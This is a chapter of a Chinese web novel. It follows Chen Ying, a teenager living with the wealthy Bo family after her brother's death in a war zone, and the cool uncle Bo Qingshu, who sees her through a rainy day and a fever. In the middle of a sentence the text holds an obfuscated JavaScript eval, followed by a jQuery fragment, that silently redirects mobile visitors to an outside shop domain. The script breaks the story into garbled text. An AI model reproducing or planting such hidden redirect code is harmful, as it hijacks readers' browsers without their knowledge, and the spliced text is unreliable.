关于自己和薄家的事,陈莺挑挑拣拣了一些不太重要的内容和蔡婷婷说了,大概内容就是自己因为特殊原因,被薄家安排转学到了现在这个学校。
蔡婷婷本来想继续追问是什么特殊原因,但见陈莺一脸的为难和踌躇,最终还是收起了好奇心没再继续问下去。
她知道,每个人都有不想让任何人哪怕是关系最亲密的人知道的秘密。
也许对陈莺来说,这就是那个不愿意说的秘密。
好不容易把蔡婷婷应付过去,薄与衡这边又出了变故。
薄与衡找到薄青恕,开门见山道:“小叔叔,我接了个项目,过几天就走,周期大概要好几个月。”
薄青恕从文件里抬起头:“哪里?”
“中东那边,一个战后重建的专题纪录片。”薄与衡顿了顿,继续道,“我自上次回来之后还没出过国,这次的团队是之前合作过的,安全方面做过评估。”
薄青恕没接话,知道侄子不会无缘无故专门跑来跟他说自己要出差的事。
薄与衡果然继续往下说了:“我走了以后,小莺那边,你能不能帮我多看着点?那孩子什么事都自己扛,在学校有什么事也不跟我说,我怕她遇到麻烦不好意思开口。”
合上文件,薄青恕将身体往后一靠,手指敲着桌面,半天没说话。
薄与衡见薄青恕不回应,不免有些紧张:“小叔叔……”
“行,但我不能保证事事关注到她。”薄青恕终于松口。
薄与衡连忙说:“当然当然,她也不是小孩子了,不用事事关注的。”
得到了自家小叔叔的承诺,薄与衡不再停留,开着车前往公司。
在某个红灯前停下时,他的思绪不由回游到几个月前自己还在国外当战地记者的时候……
那天下午,他和自己所在团队跟着维和部队的车队去一处临时安置点做采访。
太阳特别烈,黄沙被风卷起来扑在车窗上,坐在他旁边的陈莺哥哥陈青,正低头看电子地图,一边看一边跟前面开车的战友说,“前面路口右转,不过那个弯道最近有报告说不太平。”
车子刚刚转弯,一阵爆炸声乍然响起。
第一个爆炸点在车队前方不到一百米的距离,轮胎卷起的沙尘和爆炸后的黑烟混在一起挡住了视线。
所有人在一瞬间做出了反应,车停下的同时,维和士兵纷纷扛着枪跳下车。
他也赶紧带着自己的团队跟着下车,但没有急着躲避,而是想要往前拍一点画面。
下一秒,一颗流弹擦着他耳边飞过去,然后听到有人怒吼了一声“趴下”。
还没来得及反应,他就被陈青扑倒了。
那人身上沉甸甸的防弹衣硌着他的后背,把他整个人压在地上,然后就是几声闷响。
他后知后觉地闻到了铁锈的味道,温热的液体顺着防弹衣的边缘淌下来,滴在他脸颊旁边干燥的沙土上,砸出一个个深色的圆点。
他惊呆了,根本做不出什么反应,只能愣愣地盯着那一滴滴血迹。
“薄记者。”陈青的声音突然从他头上传下来,很轻,但字字沉重,“我妹妹……江城……请你帮我……多多照看……”
他根本不敢动,因为不知道上面还有没有流弹,也不知道身上的这个人到底中了多少发。
只能把脸埋在沙土里,流着泪拼命点头说着“你放心”。
陈青最后跟他说了一句什么,沙尘太大,他没能听清,只能呼唤着陈青别睡过去。
但那双手扣在他后颈上的力气还是一点一点地松掉了。
后来的事就是他紧急回国,交接工作,然后参加陈青的灵柩迎接仪式。
他站在队伍后面,看到了前面那个小小的瘦弱的背影。
那是陈莺。
紧接着他又跟着队伍一起去了江城,继续参加安葬仪式。
一切尘埃落地,他也终于找到了陈莺,把发生的那些事告诉了她。
陈莺哭得很伤心,一边挥拳打他一边嚎啕大哭,他也控制不住再次流泪,不断说着“对不起”。
他以为陈莺会恨他,可哭完之后,她很快就调整有些崩溃的情绪,沙哑着问他来找她是有什么事。
于是他便问她要不要跟他去京城生活,这也是她哥哥对他的嘱托。
陈莺当时没有马上给出回应,而是思考了两天后才给他打电话,表示愿意跟他一起去京市。
然后他又陪着陈莺花了几天时间把江城的事都处理完了,才带着她来了京市。
来了京市后,她哥哥那件事就很少再提起了。
不敢提,不能提。
只要提起来,伤心的人不止是陈莺。
绿灯亮起,薄与衡思绪回笼,再次发动车子。
晚上,他来到陈莺房间的门口,跟她说了关于自己要去国外出差几个月的事。
陈莺并不感到意外,反而觉得“悬在半空的鞋子终于落地了”。
她问:“去哪儿?”
薄与衡:“中东。”
中东啊……那边局势貌似不太稳定啊。
但她没有追问细节,沉默几秒后才郑重地说:“那你注意安全。”
薄与衡看着她:“我不在的时候,你有什么事就去找陈助理,他肯定会帮你处理的。如果有更麻烦的事,直接找小叔叔也行。”
除开薄青恕本人,这已经是第二个跟她说若有更麻烦的事直接找他的人了。
她再次深深地感觉到,薄青恕在薄家的话语权有多大。
为了不让薄与衡到了国外还担心她,陈莺没说什么,果断地点点头,说“我会的”。
薄与衡知道陈莺现在答应得果断,但也未必真的会去找。但为了不节外生枝,他也就没再继续说那些婆婆妈妈的唠叨。
薄与衡走的那天早上,正好是周末,陈莺干脆也跟着早早起来送他一程。
出门之前,他穿好鞋子,一抬头就看见她站在旁边看着他,便冲她笑了一下,“好好读书,等我回来给你带当地特产。”
然后朝她摆了摆手,转身上了司机的车。
日子过得不快不慢。
薄与衡走了之后,老宅并没有什么太大的变化。
薄老爷子和薄老夫人找了个时间去郊区别墅养生一段日子,而薄青恕平时工作多应酬也多,经常不在家吃饭。
陈莺每天按部就班地上学放学,也偶尔在饭桌上碰到薄青恕。
两个人各吃各的,话都不多。
这天下午放学,她背着书包走到校门口,在惯常等车的位置站定。
一波波学生走出校门,叽叽喳喳的好不热闹。
陈莺看了一眼时间,发现司机居然迟到了。
大约过了五分钟,司机的电话才匆匆打了过来:“陈莺小姐,高架上出了连环追尾,我堵在这边了,可能还要一阵子。您稍等一会儿,我尽快赶到。”
陈莺怕他太急而出事,说:“没事,你慢慢开,不急。”
挂了电话,她干脆往后退了几步,站到校门内侧的门廊底下。
天色骤变灰暗,一阵大风吹过,带着潮润的土腥气。
陈莺闻着这股水汽,心想着看来是要下雨了。
然而没等她反应过来,随着第一滴雨落下,第二滴、第三滴……
转瞬之间整片天空像被人泼了一盆水,雨线直直浇下来。
陈莺所在的位置太浅了,雨被风斜着吹过来,她的校服很快就被淋湿了一部分。
转头看了看,离最近的一楼走廊也有一段不小的距离,跑过去的路上估计会被淋得更彻底。
她干脆继续往后缩,尽量贴着门廊的墙壁,把书包举到头顶上挡住一部分雨水。
学校门口已经没有什么人了,只偶尔有一两把伞飞快地飘过去。
“滴滴!”
就在陈莺盯着雨幕发呆时,骤然响起的车喇叭声惊醒了她。
她眯着眼睛看了几秒,发现是薄家的车,赶紧抬脚从门廊下冲进雨里。
拉开车门坐进去的时候,座椅皮面已经被她的湿校服蹭出了一片深色的水印。
司机从前排递过来一条新毛巾,愧疚道歉:“陈莺小姐对不起,这雨来得太急了。您先擦擦,别着凉了。”
陈莺接过毛巾,擦了擦湿润的脸和头发。
司机赶紧发动车子回老宅。
到了老宅的时候,雨小了一些。陈莺从车上下来,跑了几步上了台阶,推开客厅的门。
空调的冷风迎面扑来,她忍不住抖了一下,胳膊上瞬间起了一层鸡皮疙瘩。
客厅里的灯亮着,薄青恕正坐在沙发上看笔记本电脑的屏幕。
听到开门声,下意识抬头,目光落在陈莺身上的时候停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837179|211488||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了一下。
她正在穿拖鞋,弯腰时校服从肩膀到腰全部贴在了身上,湿透的布料勾勒出少女的身材曲线。
薄青恕几乎是立刻就把视线移开了,眉峰几不可察地蹙了一下。然后他站起来,捞起沙发上的一条毛毯,隔着几步距离往她身上一扔。
“赶紧上去洗澡。”
毛毯展开了一半,落在陈莺身上时几乎把她整个人兜住了。
她下意识地握住毛毯边把自己裹紧,满头雾水地朝薄青恕看去,却只看到他冷漠的侧脸。
于是只好听从他的话上楼。
电梯门关上后,薄青恕重新坐下来,揉了揉眉间。
然后偏头叫了一声正在厨房摆餐具的保姆:“兰姨,开饭时间推迟半个小时,顺便煮碗姜汤给陈莺。”
叫兰姨的这位保姆应了一声,转身进厨房吩咐事情去了。
关上笔记本,薄青恕也顾不得找李管家,直接用自己的工作手机号给负责陈莺上下学的司机打了电话。
因为心情不好,导致他说话的声音都冷冰了不少,“以后下雨,不管陈莺有没有带伞,你都直接带雨伞进学校接她,别让她淋雨跑出来。”
电话那头的司机连声说“是是是”。
“这种事不应该等我说了你才想到。”薄青恕再次压沉声音,“下次再出这种情况,我直接让李管家换人。”
司机更加惶恐:“薄先生您放心,我记住了,下次绝对不会再犯错。”
薄家选拔司机的条件很严苛,但一旦被选上了,所给出的工资和福利都属于是京市私人司机圈里数一数二的,他绝对不会想要丢掉这份工作的。
安排好这一切的薄青恕也早已没有了继续处理工作的心思,干脆起来洗了手坐在餐桌前等待陈莺下来,脑子里却还在思考着应该怎么提点一下她,让她稍微注意一下男女之别。
他作为长辈,自然对她升不起男女之情。在看到她那身湿透的校服时,担心的也只是她可能要生病以及会有其他成年男性对她这个女高中生的觊觎。
算了,他作为一个男性长辈,也不好跟她说这些,到时候找他妈来提点吧。
与此同时,陈莺也洗完澡下楼来了。可能是看见薄青恕已经坐在餐桌前了,赶紧啪嗒啪嗒地踩着拖鞋小跑过来。
薄青恕抬眸,对她抬了抬下巴:“坐吧。”
陈莺在他对面刚坐下,兰姨就把一碗汤端上来放在了她面前,一股辛辣的姜味直钻入她的鼻腔,呛得她皱了皱鼻子。
薄青恕见她这副样子就知道她不喜欢姜味,但还是不为所动地说:“先把姜汤喝了,去去寒气。”
陈莺非常识时务,知道薄青恕不是她撒撒娇就会妥协的人,认命地端起碗,深呼吸一口气,小口小口地喝了起来。
辛辣的味道从喉咙一路烧到胃里,逼得她眼眶都有些红了起来。
薄青恕神情丝毫没有软化,内心却在想,养一个小女孩真是太麻烦了,这还是陈莺这种性格比较安静的女孩,如果是他侄女薄云瑶,他绝对不会让她住进老宅的,又骄横又吵闹。
吃饭时,陈莺偷偷抬眼看薄青恕。
此刻的他穿着休闲服,额前的头发散落着,整个人看起来柔和了不少,跟那天晚宴上穿着西装的冷硬模样相比,现在这个和她一起坐在餐桌前吃饭的男人好像没有那么远了。
她以前觉得这个人就是深不可测的冰湖,看不透他的所思所想,一旦接近就会被寒气逼退。可现在她又觉得冰湖偶尔被微风吹得轻轻荡起波澜时,还是能看到些许生机勃勃的。
对他的那层畏怯,在那碗姜汤进入胃里时,好像也融化开了一角。
吃完饭,陈莺按往常一般回到自己房间写作业。但写完几道大题后,她觉得脑袋有点沉,眼前的字迹也有些重影。
陈莺揉了揉太阳穴,应该是今天淋了雨又跑上跑下累的。也没有太在意,她继续把最后几道题啃完了。
深夜睡梦中,陈莺忽然觉得自己像被扔进了一个忽冷忽热的漩涡里,一会儿仿佛身处冬天大雪皑皑,一会儿又觉得夏天的太阳几乎要把她晒干。
被子被踢开又拽回来,拽回来又踢开,整个人在床上翻来覆去。
脑海里有无数东西在明暗交替地摇来摇去,身上的冷和热夜交替着涌上来。
陈莺像是被裹进一个沉甸甸的、半梦半醒的混沌里。